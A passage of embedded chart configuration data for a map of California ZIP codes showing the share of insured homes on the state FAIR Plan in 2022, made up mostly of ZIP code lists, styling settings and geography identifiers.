5363","95367","95368","95380","95382","95385","95386","95645","95659","95668","95674","95953","95957","95982","95991","95993","96021","96022","96035","96055","96061","96075","96080","95526","95527","95552","95563","95595","96010","96024","96041","96046","96048","96052","96091","96093","93201","93207","93208","93218","93219","93221","93223","93235","93244","93247","93256","93257","93260","93265","93267","93270","93271","93272","93274","93277","93286","93291","93292","93603","93615","93618","93647","95305","95310","95321","95327","95329","95335","95346","95370","95372","95379","95383","91320","91360","91361","91362","91377","93001","93003","93004","93010","93012","93015","93021","93022","93023","93030","93033","93035","93036","93040","93041","93060","93063","93065","93066","95605","95606","95607","95612","95616","95618","95627","95637","95679","95691","95694","95695","95698","95776","95937","95692","95901","95918","95919","95922","95925","95935","95961","95962","95972","95981","90010","90079","91948","92678","93262","93605","93673","93921","93928","94516","94562","94573","94950","95224","95233","95248","95309","95325","95375","95430","95435","95480","95486","95545","95553","95559","95571","95613","95646","95675","95686","95913","95950","95978","95986","96011","96029","96037","96068","96074","96084","96135","96155"],"matched":1703,"rows":1728,"pr":false,"region":["CA"]}},"text":{"title":"Cover band","subtitle":"Share of insured homes in each California ZIP code covered by the state's FAIR Plan, 2022","note":"ZIP code areas are Census Bureau approximations; boundaries in rural areas are imprecise.","source":"CA Department of Insurance / Stanford Climate and Energy Policy Program","credit":"Clayton Aldern","altText":"Map of California ZIP codes showing the share of insured homes on the state's FAIR Plan in 2022. Shares are low across most of the state but reach 50 percent to 80 percent in foothill and mountain communities along the Sierra Nevada and around Los Angeles and San Diego."},"style":{"paletteId":"","political":false,"background":"white","yFormat":{"prefix":"","suffix":"%","decimals":null,"multiply":1},"xFormat":{"prefix":"","suffix":"","decimals":null},"yFromZero":true,"yMin":null,"yMax":null,"valueLabels":false,"endDots":true,"imageFill":null,"width":"column","height":400,"yLabel":"","xLabel":"","highlight":null,"legend":"top","xFromZero":false,"xMin":null,"xMax":null,"rightAxis":[],"rightFormat":{"prefix":"","suffix":"","decimals":null},"rightLabel":"","rightFromZero":true,"donutHole":true,"partners":[],"map":{"method":"natural","classes":5,"breaks":[],"palette":"seq-turquoise","reverse":false,"midpoint":null,"continuous":false,"labels":true,"symbolMax":18,"noDataLabel":"No data","thresholds":[6.5,19,34.5,52.1],"stops":[],"colors":["#D0ECE5","#71C6B2","#12A07F","#0E7C63","#0A5846"],"domain":[0,81.7],"categories":[],"sizeTicks":[],"projection":"equal-earth","sphere":false,"graticule":false,"center":[-30,20],"cityCount":5,"legendAt":"bottom-left"}},"meta":{"toolVersion":"0.2.0","createdAt":"","updatedAt":"","fallbackPngUrl":"","review":null}}; var GEO={"id":"us-zips","w":744.3,"h":744.3,"q":10,"ids":["06","90001","90002","90003","90004","90005","90006","90007","90008","90010","90011","90012","90013","90014","90015","90016","90017","90018","90019","90020","90021","90022","90023","90024","90025","90026","90027","90028","90029","90031","90032","90033","90034","90035","90036","90037","90038","90039","90040","90041","90042","90043","90044","90045","90046","90047","90048","90049","90052","90056","90057","90058","90059","90061","90062","90063","90064","90065","90066","90067","90068","90069","90071","90073","90077","90079","90089","90094","90095","90201","90210","90211","90212","90220","90221","90222","90230","90232","90240","90241","90242","90245","90247","90248","90249","90250","90254","90255","90260","90262","90263","90265","90266","90270","90272","90274","90275","90277","90278","90280","90290","90291","90292","90293","90301","90302","90303","90304","90305","90401","90402","90403","90404","90405","90501","90502","90503","90504","90505","90506","90601","90602","90603","90604","90605","90606","90620","90621","90623","90630","90631","90638","90639","90640","90650","90660","90670","90680","90701","90703","90704","90706","90710","90712","90713","90715","90716","90717","90720","90723","90731","90732","90740","90742","90743","90744","90745","90746","90747","90755","90802","90803","90804","90805","90806","90807","90808","90810","90813","90814","90815","90822","90831","90840","91001","91006","91007","91008","91010","91011","91016","91020","91024","91030","91040","91042","91046","91101","91103","91104","91105","91106","91107","91108","91125","91201","91202","91203","91204","91205","91206","91207","91208","91210","91214","91301","91302","91303","91304","91306","91307","91311","91316","91320","91321","91324","91325","91326","91330","91331","91335","91340","91342","91343","91344","91345","91350","91351","91352","91354","91355","91356","91360","91361","91362","91364","91367","91371","91377","91381","91384","91387","91390","91401","91402","91403","91405","91406","91411","91423","91436","91501","91502","91504","91505","91506","91601","91602","91604","91605","91606","91607","91608","91701","91702","91706","91708","91709","91710","91711","91722","91723","91724","91730","91731","91732","91733","91737","91739","91740","91741","91744","91745","91746","91748","91750","91752","91754","91755","91759","91761","91762","91763","91764","91765","91766","91767","91768","91770","91773","91775","91776","91780","91784","91786","91789","91790","91791","91792","91801","91803","91901","91902","91905","91906","91910","91911","91913","91914","91915","91916","91917","91931","91932","91934","91935","91941","91942","91945","91948","91950","91962","91963","91977","91978","91980","92003","92004","92007","92008","92009","92010","92011","92014","92019","92020","92021","92024","92025","92026","92027","92028","92029","92036","92037","92040","92054","92055","92056","92057","92058","92059","92060","92061","92064","92065","92066","92067","92069","92070","92071","92075","92078","92081","92082","92083","92084","92086","92091","92092","92093","92096","92101","92102","92103","92104","92105","92106","92107","92108","92109","92110","92111","92113","92114","92115","92116","92117","92118","92119","92120","92121","92122","92123","92124","92126","92127","92128","92129","92130","92131","92132","92134","92135","92136","92139","92140","92145","92147","92154","92155","92161","92173","92179","92182","92201","92203","92210","92211","92220","92222","92223","92225","92227","92230","92231","92233","92234","92236","92239","92240","92241","92242","92243","92249","92250","92251","92252","92253","92254","92256","92257","92258","92259","92260","92262","92264","92266","92267","92268","92270","92273","92274","92275","92276","92277","92278","92280","92281","92282","92283","92284","92285","92301","92304","92305","92307","92308","92309","92310","92311","92313","92314","92315","92316","92317","92320","92321","92322","92324","92325","92327","92328","92332","92333","92335","92336","92337","92338","92339","92341","92342","92344","92345","92346","92347","92350","92352","92354","92356","92358","92359","92363","92364","92365","92368","92369","92371","92372","92373","92374","92376","92377","92378","92382","92384","92385","92386","92389","92391","92392","92394","92395","92397","92398","92399","92401","92404","92405","92407","92408","92410","92411","92415","92501","92503","92504","92505","92506","92507","92508","92509","92518","92521","92530","92532","92536","92539","92543","92544","92545","92548","92549","92551","92553","92555","92557","92561","92562","92563","92567","92570","92571","92582","92583","92584","92585","92586","92587","92590","92591","92592","92595","92596","92602","92603","92604","92606","92610","92612","92614","92617","92618","92620","92624","92625","92626","92627","92629","92630","92637","92646","92647","92648","92649","92651","92653","92655","92656","92657","92660","92661","92662","92663","92672","92673","92675","92676","92677","92678","92679","92683","92688","92691","92692","92694","92697","92701","92703","92704","92705","92706","92707","92708","92780","92782","92801","92802","92804","92805","92806","92807","92808","92821","92823","92831","92832","92833","92835","92840","92841","92843","92844","92845","92860","92861","92865","92866","92867","92868","92869","92870","92879","92880","92881","92882","92883","92886","92887","93001","93003","93004","93010","93012","93013","93015","93021","93022","93023","93030","93033","93035","93036","93040","93041","93042","93043","93060","93063","93064","93065","93066","93067","93101","93103","93105","93106","93108","93109","93110","93111","93117","93201","93202","93203","93204","93205","93206","93207","93208","93210","93212","93215","93218","93219","93220","93221","93222","93223","93224","93225","93226","93227","93230","93234","93235","93237","93238","93239","93240","93241","93242","93243","93244","93245","93246","93247","93249","93250","93251","93252","93254","93255","93256","93257","93258","93260","93261","93262","93263","93265","93266","93267","93268","93270","93271","93272","93274","93276","93277","93280","93283","93285","93286","93287","93291","93292","93301","93304","93305","93306","93307","93308","93309","93311","93312","93313","93314","93401","93402","93405","93407","93408","93409","93410","93420","93422","93424","93426","93427","93428","93429","93430","93432","93433","93434","93436","93437","93440","93441","93442","93444","93445","93446","93449","93450","93451","93452","93453","93454","93455","93458","93460","93461","93463","93465","93501","93505","93510","93512","93513","93514","93516","93517","93518","93519","93522","93523","93524","93526","93527","93528","93529","93530","93531","93532","93534","93535","93536","93541","93543","93544","93545","93546","93549","93550","93551","93552","93553","93554","93555","93558","93560","93561","93562","93563","93581","93591","93601","93602","93603","93604","93605","93606","93608","93609","93610","93611","93612","93614","93615","93616","93618","93619","93620","93621","93622","93623","93624","93625","93626","93627","93628","93630","93631","93633","93634","93635","93636","93637","93638","93640","93641","93643","93644","93645","93646","93647","93648","93650","93651","93652","93653","93654","93656","93657","93660","93662","93664","93665","93666","93667","93668","93669","93670","93673","93675","93701","93702","93703","93704","93705","93706","93710","93711","93720","93721","93722","93723","93725","93726","93727","93728","93730","93737","93740","93741","93901","93905","93906","93907","93908","93920","93921","93923","93924","93925","93926","93927","93928","93930","93932","93933","93940","93943","93944","93950","93953","93954","93955","93960","93962","94002","94005","94010","94014","94015","94018","94019","94020","94021","94022","94024","94025","94027","94028","94030","94037","94038","94040","94041","94043","94044","94060","94061","94062","94063","94065","94066","94070","94074","94080","94085","94086","94087","94089","94102","94103","94104","94105","94107","94108","94109","94110","94111","94112","94114","94115","94116","94117","94118","94121","94122","94123","94124","94127","94128","94129","94130","94131","94132","94133","94134","94158","94188","94301","94303","94304","94305","94306","94401","94402","94403","94404","94501","94502","94503","94505","94506","94507","94508","94509","94510","94511","94512","94513","94514","94515","94516","94517","94518","94519","94520","94521","94523","94525","94526","94528","94530","94531","94533","94534","94535","94536","94538","94539","94541","94542","94544","94545","94546","94547","94548","94549","94550","94551","94552","94553","94555","94556","94558","94559","94560","94561","94562","94563","94564","94565","94566","94567","94568","94569","94571","94572","94573","94574","94575","94576","94577","94578","94579","94580","94582","94583","94585","94586","94587","94588","94589","94590","94591","94592","94595","94596","94597","94598","94599","94601","94602","94603","94605","94606","94607","94608","94609","94610","94611","94612","94613","94618","94619","94621","94702","94703","94704","94705","94706","94707","94708","94709","94710","94720","94801","94803","94804","94805","94806","94901","94903","94904","94920","94922","94923","94924","94925","94928","94929","94930","94931","94933","94937","94938","94939","94940","94941","94945","94946","94947","94949","94950","94951","94952","94954","94956","94957","94960","94963","94964","94965","94970","94971","94972","94973","95002","95003","95004","95005","95006","95007","95008","95010","95012","95013","95014","95017","95018","95019","95020","95023","95030","95032","95033","95035","95037","95039","95041","95043","95045","95046","95050","95051","95053","95054","95060","95062","95064","95065","95066","95070","95073","95075","95076","95110","95111","95112","95113","95116","95117","95118","95119","95120","95121","95122","95123","95124","95125","95126","95127","95128","95129","95130","95131","95132","95133","95134","95135","95136","95138","95139","95140","95148","95202","95203","95204","95205","95206","95207","95209","95210","95211","95212","95215","95219","95220","95221","95222","95223","95224","95225","95226","95227","95228","95230","95231","95232","95233","95236","95237","95240","95242","95245","95246","95247","95248","95249","95251","95252","95253","95254","95255","95257","95258","95301","95303","95304","95305","95306","95307","95309","95310","95311","95312","95313","95315","95316","95317","95318","95319","95320","95321","95322","95323","95324","95325","95326","95327","95328","95329","95330","95333","95334","95335","95336","95337","95338","95340","95341","95345","95346","95348","95350","95351","95354","95355","95356","95357","95358","95360","95361","95363","95364","95365","95366","95367","95368","95369","95370","95372","95374","95375","95376","95377","95379","95380","95382","95383","95385","95386","95387","95388","95389","95391","95401","95403","95404","95405","95407","95409","95410","95412","95415","95417","95419","95420","95421","95422","95423","95425","95426","95427","95428","95429","95430","95431","95432","95435","95436","95437","95439","95441","95442","95443","95444","95445","95446","95448","95449","95450","95451","95452","95453","95454","95456","95457","95458","95459","95460","95461","95462","95463","95464","95465","95466","95467","95468","95469","95470","95471","95472","95476","95480","95482","95485","95486","95488","95490","95492","95493","95494","95497","95501","95503","95511","95514","95519","95521","95524","95525","95526","95527","95528","95531","95536","95537","95538","95540","95542","95543","95545","95546","95547","95548","95549","95550","95551","95552","95553","95554","95555","95556","95558","95559","95560","95562","95563","95564","95565","95567","95568","95569","95570","95571","95573","95585","95587","95589","95595","95601","95602","95603","95604","95605","95606","95607","95608","95610","95612","95613","95614","95615","95616","95618","95619","95620","95621","95623","95624","95625","95626","95627","95628","95629","95630","95631","95632","95633","95634","95635","95636","95637","95638","95639","95640","95641","95642","95645","95646","95648","95650","95651","95652","95653","95655","95658","95659","95660","95661","95662","95663","95664","95665","95666","95667","95668","95669","95670","95671","95672","95673","95674","95675","95676","95677","95678","95679","95680","95681","95682","95683","95684","95685","95686","95687","95688","95689","95690","95691","95692","95693","95694","95695","95697","95698","95699","95701","95703","95709","95713","95714","95715","95717","95720","95721","95722","95726","95728","95735","95736","95742","95746","95747","95757","95758","95762","95765","95776","95811","95814","95815","95816","95817","95818","95819","95820","95821","95822","95823","95824","95825","95826","95827","95828","95829","95830","95831","95832","95833","95834","95835","95837","95838","95841","95842","95843","95864","95901","95903","95910","95912","95913","95914","95915","95916","95917","95918","95919","95920","95922","95923","95925","95926","95928","95929","95930","95932","95934","95935","95936","95937","95938","95939","95941","95942","95943","95944","95945","95946","95947","95948","95949","95950","95951","95953","95954","95955","95956","95957","95958","95959","95960","95961","95962","95963","95965","95966","95968","95969","95970","95971","95972","95973","95974","95975","95977","95978","95979","95981","95982","95983","95984","95986","95987","95988","95991","95993","96001","96002","96003","96006","96007","96008","96009","96010","96011","96013","96014","96015","96016","96017","96019","96020","96021","96022","96023","96024","96025","96027","96028","96029","96031","96032","96033","96034","96035","96037","96038","96039","96040","96041","96044","96046","96047","96048","96050","96051","96052","96054","96055","96056","96057","96058","96059","96061","96062","96063","96064","96065","96067","96068","96069","96071","96073","96074","96075","96076","96078","96080","96084","96085","96086","96087","96088","96090","96091","96092","96093","96094","96096","96097","96101","96103","96104","96105","96106","96107","96108","96109","96110","96111","96112","96113","96114","96115","96116","96117","96118","96119","96120","96121","96122","96123","96124","96125","96126","96128","96129","96130","96132","96133","96134","96135","96136","96137","96140","96141","96142","96143","96145","96146","96148","96150","96155","96161","97635"],"names":["California","ZIP 90001","ZIP 90002","ZIP 90003","ZIP 90004","ZIP 90005","ZIP 90006","ZIP 90007","ZIP 90008","ZIP 90010","ZIP 90011","ZIP 90012","ZIP 90013","ZIP 90014","ZIP 90015","ZIP 90016","ZIP 90017","ZIP 90018","ZIP 90019","ZIP 90020","ZIP 90021","ZIP 90022","ZIP 90023","ZIP 90024","ZIP 90025","ZIP 90026","ZIP 90027","ZIP 90028","ZIP 90029","ZIP 90031","ZIP 90032","ZIP 90033","ZIP 90034","ZIP 90035","ZIP 90036","ZIP 90037","ZIP 90038","ZIP 90039","ZIP 90040","ZIP 90041","ZIP 90042","ZIP 90043","ZIP 90044","ZIP 90045","ZIP 90046","ZIP 90047","ZIP 90048","ZIP 90049","ZIP 90052","ZIP 90056","ZIP 90057","ZIP 90058","ZIP 90059","ZIP 90061","ZIP 90062","ZIP 90063","ZIP 90064","ZIP 90065","ZIP 90066","ZIP 90067","ZIP 90068","ZIP 90069","ZIP 90071","ZIP 90073","ZIP 90077","ZIP 90079","ZIP 90089","ZIP 90094","ZIP 90095","ZIP 90201","ZIP 90210","ZIP 90211","ZIP 90212","ZIP 90220","ZIP 90221","ZIP 90222","ZIP 90230","ZIP 90232","ZIP 90240","ZIP 90241","ZIP 90242","ZIP 90245","ZIP 90247","ZIP 90248","ZIP 90249","ZIP 90250","ZIP 90254","ZIP 90255","ZIP 90260","ZIP 90262","ZIP 90263","ZIP 90265","ZIP 90266","ZIP 90270","ZIP 90272","ZIP 90274","ZIP 90275","ZIP 90277","ZIP 90278","ZIP 90280","ZIP 90290","ZIP 90291","ZIP 90292","ZIP 90293","ZIP 90301","ZIP 90302","ZIP 90303","ZIP 90304","ZIP 90305","ZIP 90401","ZIP 90402","ZIP 90403","ZIP 90404","ZIP 90405","ZIP 90501","ZIP 90502","ZIP 90503","ZIP 90504","ZIP 90505","ZIP 90506","ZIP 90601","ZIP 90602","ZIP 90603","ZIP 90604","ZIP 90605","ZIP 90606","ZIP 90620","ZIP 90621","ZIP 90623","ZIP 90630","ZIP 90631","ZIP 90638","ZIP 90639","ZIP 90640","ZIP 90650","ZIP 90660","ZIP 90670","ZIP 90680","ZIP 90701","ZIP 90703","ZIP 90704","ZIP 90706","ZIP 90710","ZIP 90712","ZIP 90713","ZIP 90715","ZIP 90716","ZIP 90717","ZIP 90720","ZIP 90723","ZIP 90731","ZIP 90732","ZIP 90740","ZIP 90742","ZIP 90743","ZIP 90744","ZIP 90745","ZIP 90746","ZIP 90747","ZIP 90755","ZIP 90802","ZIP 90803","ZIP 90804","ZIP 90805","ZIP 90806","ZIP 90807","ZIP 90808","ZIP 90810","ZIP 90813","ZIP 90814","ZIP 90815","ZIP 90822","ZIP 90831","ZIP 90840","ZIP 91001","ZIP 91006","ZIP 91007","ZIP 91008","ZIP 91010","ZIP 91011","ZIP 91016","ZIP 91020","ZIP 91024","ZIP 91030","ZIP 91040","ZIP 91042","ZIP 91046","ZIP 91101","ZIP 91103","ZIP 91104","ZIP 91105","ZIP 91106","ZIP 91107","ZIP 91108","ZIP 91125","ZIP 91201","ZIP 91202","ZIP 91203","ZIP 91204","ZIP 91205","ZIP 91206","ZIP 91207","ZIP 91208","ZIP 91210","ZIP 91214","ZIP 91301","ZIP 91302","ZIP 91303","ZIP 91304","ZIP 91306","ZIP 91307","ZIP 91311","ZIP 91316","ZIP 91320","ZIP 91321","ZIP 91324","ZIP 91325","ZIP 91326","ZIP 91330","ZIP 91331","ZIP 91335","ZIP 91340","ZIP 91342","ZIP 91343","ZIP 91344","ZIP 91345","ZIP 91350","ZIP 91351","ZIP 91352","ZIP 91354","ZIP 91355","ZIP 91356","ZIP 91360","ZIP 91361","ZIP 91362","ZIP 91364","ZIP 91367","ZIP 91371","ZIP 91377","ZIP 91381","ZIP 91384","ZIP 91387","ZIP 91390","ZIP 91401","ZIP 91402","ZIP 91403","ZIP 91405","ZIP 91406","ZIP 91411","ZIP 91423","ZIP 91436","ZIP 91501","ZIP 91502","ZIP 91504","ZIP 91505","ZIP 91506","ZIP 91601","ZIP 91602","ZIP 91604","ZIP 91605","ZIP 91606","ZIP 91607","ZIP 91608","ZIP 91701","ZIP 91702","ZIP 91706","ZIP 91708","ZIP 91709","ZIP 91710","ZIP 91711","ZIP 91722","ZIP 91723","ZIP 91724","ZIP 91730","ZIP 91731","ZIP 91732","ZIP 91733","ZIP 91737","ZIP 91739","ZIP 91740","ZIP 91741","ZIP 91744","ZIP 91745","ZIP 91746","ZIP 91748","ZIP 91750","ZIP 91752","ZIP 91754","ZIP 91755","ZIP 91759","ZIP 91761","ZIP 91762","ZIP 91763","ZIP 91764","ZIP 91765","ZIP 91766","ZIP 91767","ZIP 91768","ZIP 91770","ZIP 91773","ZIP 91775","ZIP 91776","ZIP 91780","ZIP 91784","ZIP 91786","ZIP 91789","ZIP 91790","ZIP 91791","ZIP 91792","ZIP 91801","ZIP 91803","ZIP 91901","ZIP 91902","ZIP 91905","ZIP 91906","ZIP 91910","ZIP 91911","ZIP 91913","ZIP 91914","ZIP 91915","ZIP 91916","ZIP 91917","ZIP 91931","ZIP 91932","ZIP 91934","ZIP 91935","ZIP 91941","ZIP 91942","ZIP 91945","ZIP 91948","ZIP 91950","ZIP 91962","ZIP 91963","ZIP 91977","ZIP 91978","ZIP 91980","ZIP 92003","ZIP 92004","ZIP 92007","ZIP 92008","ZIP 92009","ZIP 92010","ZIP 92011","ZIP 92014","ZIP 92019","ZIP 92020","ZIP 92021","ZIP 92024","ZIP 92025","ZIP 92026","ZIP 92027","ZIP 92028","ZIP 92029","ZIP 92036","ZIP 92037","ZIP 92040","ZIP 92054","ZIP 92055","ZIP 92056","ZIP 92057","ZIP 92058","ZIP 92059","ZIP 92060","ZIP 92061","ZIP 92064","ZIP 92065","ZIP 92066","ZIP 92067","ZIP 92069","ZIP 92070","ZIP 92071","ZIP 92075","ZIP 92078","ZIP 92081","ZIP 92082","ZIP 92083","ZIP 92084","ZIP 92086","ZIP 92091","ZIP 92092","ZIP 92093","ZIP 92096","ZIP 92101","ZIP 92102","ZIP 92103","ZIP 92104","ZIP 92105","ZIP 92106","ZIP 92107","ZIP 92108","ZIP 92109","ZIP 92110","ZIP 92111","ZIP 92113","ZIP 92114","ZIP 92115","ZIP 92116","ZIP 92117","ZIP 92118","ZIP 92119","ZIP 92120","ZIP 92121","ZIP 92122","ZIP 92123","ZIP 92124","ZIP 92126","ZIP 92127","ZIP 92128","ZIP 92129","ZIP 92130","ZIP 92131","ZIP 92132","ZIP 92134","ZIP 92135","ZIP 92136","ZIP 92139","ZIP 92140","ZIP 92145","ZIP 92147","ZIP 92154","ZIP 92155","ZIP 92161","ZIP 92173","ZIP 92179","ZIP 92182","ZIP 92201","ZIP 92203","ZIP 92210","ZIP 92211","ZIP 92220","ZIP 92222","ZIP 92223","ZIP 92225","ZIP 92227","ZIP 92230","ZIP 92231","ZIP 92233","ZIP 92234","ZIP 92236","ZIP 92239","ZIP 92240","ZIP 92241","ZIP 92242","ZIP 92243","ZIP 92249","ZIP 92250","ZIP 92251","ZIP 92252","ZIP 92253","ZIP 92254","ZIP 92256","ZIP 92257","ZIP 92258","ZIP 92259","ZIP 92260","ZIP 92262","ZIP 92264","ZIP 92266","ZIP 92267","ZIP 92268","ZIP 92270","ZIP 92273","ZIP 92274","ZIP 92275","ZIP 92276","ZIP 92277","ZIP 92278","ZIP 92280","ZIP 92281","ZIP 92282","ZIP 92283","ZIP 92284","ZIP 92285","ZIP 92301","ZIP 92304","ZIP 92305","ZIP 92307","ZIP 92308","ZIP 92309","ZIP 92310","ZIP 92311","ZIP 92313","ZIP 92314","ZIP 92315","ZIP 92316","ZIP 92317","ZIP 92320","ZIP 92321","ZIP 92322","ZIP 92324","ZIP 92325","ZIP 92327","ZIP 92328","ZIP 92332","ZIP 92333","ZIP 92335","ZIP 92336","ZIP 92337","ZIP 92338","ZIP 92339","ZIP 92341","ZIP 92342","ZIP 92344","ZIP 92345","ZIP 92346","ZIP 92347","ZIP 92350","ZIP 92352","ZIP 92354","ZIP 92356","ZIP 92358","ZIP 92359","ZIP 92363","ZIP 92364","ZIP 92365","ZIP 92368","ZIP 92369","ZIP 92371","ZIP 92372","ZIP 92373","ZIP 92374","ZIP 92376","ZIP 92377","ZIP 92378","ZIP 92382","ZIP 92384","ZIP 92385","ZIP 92386","ZIP 92389","ZIP 92391","ZIP 92392","ZIP 92394","ZIP 92395","ZIP 92397","ZIP 92398","ZIP 92399","ZIP 92401","ZIP 92404","ZIP 92405","ZIP 92407","ZIP 92408","ZIP 92410","ZIP 92411","ZIP 92415","ZIP 92501","ZIP 92503","ZIP 92504","ZIP 92505","ZIP 92506","ZIP 92507","ZIP 92508","ZIP 92509","ZIP 92518","ZIP 92521","ZIP 92530","ZIP 92532","ZIP 92536","ZIP 92539","ZIP 92543","ZIP 92544","ZIP 92545","ZIP 92548","ZIP 92549","ZIP 92551","ZIP 92553","ZIP 92555","ZIP 92557","ZIP 92561","ZIP 92562","ZIP 92563","ZIP 92567","ZIP 92570","ZIP 92571","ZIP 92582","ZIP 92583","ZIP 92584","ZIP 92585","ZIP 92586","ZIP 92587","ZIP 92590","ZIP 92591","ZIP 92592","ZIP 92595","ZIP 92596","ZIP 92602","ZIP 92603","ZIP 92604","ZIP 92606","ZIP 92610","ZIP 92612","ZIP 92614","ZIP 92617","ZIP 92618","ZIP 92620","ZIP 92624","ZIP 92625","ZIP 92626","ZIP 92627","ZIP 92629","ZIP 92630","ZIP 92637","ZIP 92646","ZIP 92647","ZIP 92648","ZIP 92649","ZIP 92651","ZIP 92653","ZIP 92655","ZIP 92656","ZIP 92657","ZIP 92660","ZIP 92661","ZIP 92662","ZIP 92663","ZIP 92672","ZIP 92673","ZIP 92675","ZIP 92676","ZIP 92677","ZIP 92678","ZIP 92679","ZIP 92683","ZIP 92688","ZIP 92691","ZIP 92692","ZIP 92694","ZIP 92697","ZIP 92701","ZIP 92703","ZIP 92704","ZIP 92705","ZIP 92706","ZIP 92707","ZIP 92708","ZIP 92780","ZIP 92782","ZIP 92801","ZIP 92802","ZIP 92804","ZIP 92805","ZIP 92806","ZIP 92807","ZIP 92808","ZIP 92821","ZIP 92823","ZIP 92831","ZIP 92832","ZIP 92833","ZIP 92835","ZIP 92840","ZIP 92841","ZIP 92843","ZIP 92844","ZIP 92845","ZIP 92860","ZIP 92861","ZIP 92865","ZIP 92866","ZIP 92867","ZIP 92868","ZIP 92869","ZIP 92870","ZIP 92879","ZIP 92880","ZIP 92881","ZIP 92882","ZIP 92883","ZIP 92886","ZIP 92887","ZIP 93001","ZIP 93003","ZIP 93004","ZIP 93010","ZIP 93012","ZIP 93013","ZIP 93015","ZIP 93021","ZIP 93022","ZIP 93023","ZIP 93030","ZIP 93033","ZIP 93035","ZIP 93036","ZIP 93040","ZIP 93041","ZIP 93042","ZIP 93043","ZIP 93060","ZIP 93063","ZIP 93064","ZIP 93065","ZIP 93066","ZIP 93067","ZIP 93101","ZIP 93103","ZIP 93105","ZIP 93106","ZIP 93108","ZIP 93109","ZIP 93110","ZIP 93111","ZIP 93117","ZIP 93201","ZIP 93202","ZIP 93203","ZIP 93204","ZIP 93205","ZIP 93206","ZIP 93207","ZIP 93208","ZIP 93210","ZIP 93212","ZIP 93215","ZIP 93218","ZIP 93219","ZIP 93220","ZIP 93221","ZIP 93222","ZIP 93223","ZIP 93224","ZIP 93225","ZIP 93226","ZIP 93227","ZIP 93230","ZIP 93234","ZIP 93235","ZIP 93237","ZIP 93238","ZIP 93239","ZIP 93240","ZIP 93241","ZIP 93242","ZIP 93243","ZIP 93244","ZIP 93245","ZIP 93246","ZIP 93247","ZIP 93249","ZIP 93250","ZIP 93251","ZIP 93252","ZIP 93254","ZIP 93255","ZIP 93256","ZIP 93257","ZIP 93258","ZIP 93260","ZIP 93261","ZIP 93262","ZIP 93263","ZIP 93265","ZIP 93266","ZIP 93267","ZIP 93268","ZIP 93270","ZIP 93271","ZIP 93272","ZIP 93274","ZIP 93276","ZIP 93277","ZIP 93280","ZIP 93283","ZIP 93285","ZIP 93286","ZIP 93287","ZIP 93291","ZIP 93292","ZIP 93301","ZIP 93304","ZIP 93305","ZIP 93306","ZIP 93307","ZIP 93308","ZIP 93309","ZIP 93311","ZIP 93312","ZIP 93313","ZIP 93314","ZIP 93401","ZIP 93402","ZIP 93405","ZIP 93407","ZIP 93408","ZIP 93409","ZIP 93410","ZIP 93420","ZIP 93422","ZIP 93424","ZIP 93426","ZIP 93427","ZIP 93428","ZIP 93429","ZIP 93430","ZIP 93432","ZIP 93433","ZIP 93434","ZIP 93436","ZIP 93437","ZIP 93440","ZIP 93441","ZIP 93442","ZIP 93444","ZIP 93445","ZIP 93446","ZIP 93449","ZIP 93450","ZIP 93451","ZIP 93452","ZIP 93453","ZIP 93454","ZIP 93455","ZIP 93458","ZIP 93460","ZIP 93461","ZIP 93463","ZIP 93465","ZIP 93501","ZIP 93505","ZIP 93510","ZIP 93512","ZIP 93513","ZIP 93514","ZIP 93516","ZIP 93517","ZIP 93518","ZIP 93519","ZIP 93522","ZIP 93523","ZIP 93524","ZIP 93526","ZIP 93527","ZIP 93528","ZIP 93529","ZIP 93530","ZIP 93531","ZIP 93532","ZIP 93534","ZIP 93535","ZIP 93536","ZIP 93541","ZIP 93543","ZIP 93544","ZIP 93545","ZIP 93546","ZIP 93549","ZIP 93550","ZIP 93551","ZIP 93552","ZIP 93553","ZIP 93554","ZIP 93555","ZIP 93558","ZIP 93560","ZIP 93561","ZIP 93562","ZIP 93563","ZIP 93581","ZIP 93591","ZIP 93601","ZIP 93602","ZIP 93603","ZIP 93604","ZIP 93605","ZIP 93606","ZIP 93608","ZIP 93609","ZIP 93610","ZIP 93611","ZIP 93612","ZIP 93614","ZIP 93615","ZIP 93616","ZIP 93618","ZIP 93619","ZIP 93620","ZIP 93621","ZIP 93622","ZIP 93623","ZIP 93624","ZIP 93625","ZIP 93626","ZIP 93627","ZIP 93628","ZIP 93630","ZIP 93631","ZIP 93633","ZIP 93634","ZIP 93635","ZIP 93636","ZIP 93637","ZIP 93638","ZIP 93640","ZIP 93641","ZIP 93643","ZIP 93644","ZIP 93645","ZIP 93646","ZIP 93647","ZIP 93648","ZIP 93650","ZIP 93651","ZIP 93652","ZIP 93653","ZIP 93654","ZIP 93656","ZIP 93657","ZIP 93660","ZIP 93662","ZIP 93664","ZIP 93665","ZIP 93666","ZIP 93667","ZIP 93668","ZIP 93669","ZIP 93670","ZIP 93673","ZIP 93675","ZIP 93701","ZIP 93702","ZIP 93703","ZIP 93704","ZIP 93705","ZIP 93706","ZIP 93710","ZIP 93711","ZIP 93720","ZIP 93721","ZIP 93722","ZIP 93723","ZIP 93725","ZIP 93726","ZIP 93727","ZIP 93728","ZIP 93730","ZIP 93737","ZIP 93740","ZIP 93741","ZIP 93901","ZIP 93905","ZIP 93906","ZIP 93907","ZIP 93908","ZIP 93920","ZIP 93921","ZIP 93923","ZIP 93924","ZIP 93925","ZIP 93926","ZIP 93927","ZIP 93928","ZIP 93930","ZIP 93932","ZIP 93933","ZIP 93940","ZIP 93943","ZIP 93944","ZIP 93950","ZIP 93953","ZIP 93954","ZIP 93955","ZIP 93960","ZIP 93962","ZIP 94002","ZIP 94005","ZIP 94010","ZIP 94014","ZIP 94015","ZIP 94018","ZIP 94019","ZIP 94020","ZIP 94021","ZIP 94022","ZIP 94024","ZIP 94025","ZIP 94027","ZIP 94028","ZIP 94030","ZIP 94037","ZIP 94038","ZIP 94040","ZIP 94041","ZIP 94043","ZIP 94044","ZIP 94060","ZIP 94061","ZIP 94062","ZIP 94063","ZIP 94065","ZIP 94066","ZIP 94070","ZIP 94074","ZIP 94080","ZIP 94085","ZIP 94086","ZIP 94087","ZIP 94089","ZIP 94102","ZIP 94103","ZIP 94104","ZIP 94105","ZIP 94107","ZIP 94108","ZIP 94109","ZIP 94110","ZIP 94111","ZIP 94112","ZIP 94114","ZIP 94115","ZIP 94116","ZIP 94117","ZIP 94118","ZIP 94121","ZIP 94122","ZIP 94123","ZIP 94124","ZIP 94127","ZIP 94128","ZIP 94129","ZIP 94130","ZIP 94131","ZIP 94132","ZIP 94133","ZIP 94134","ZIP 94158","ZIP 94188","ZIP 94301","ZIP 94303","ZIP 94304","ZIP 94305","ZIP 94306","ZIP 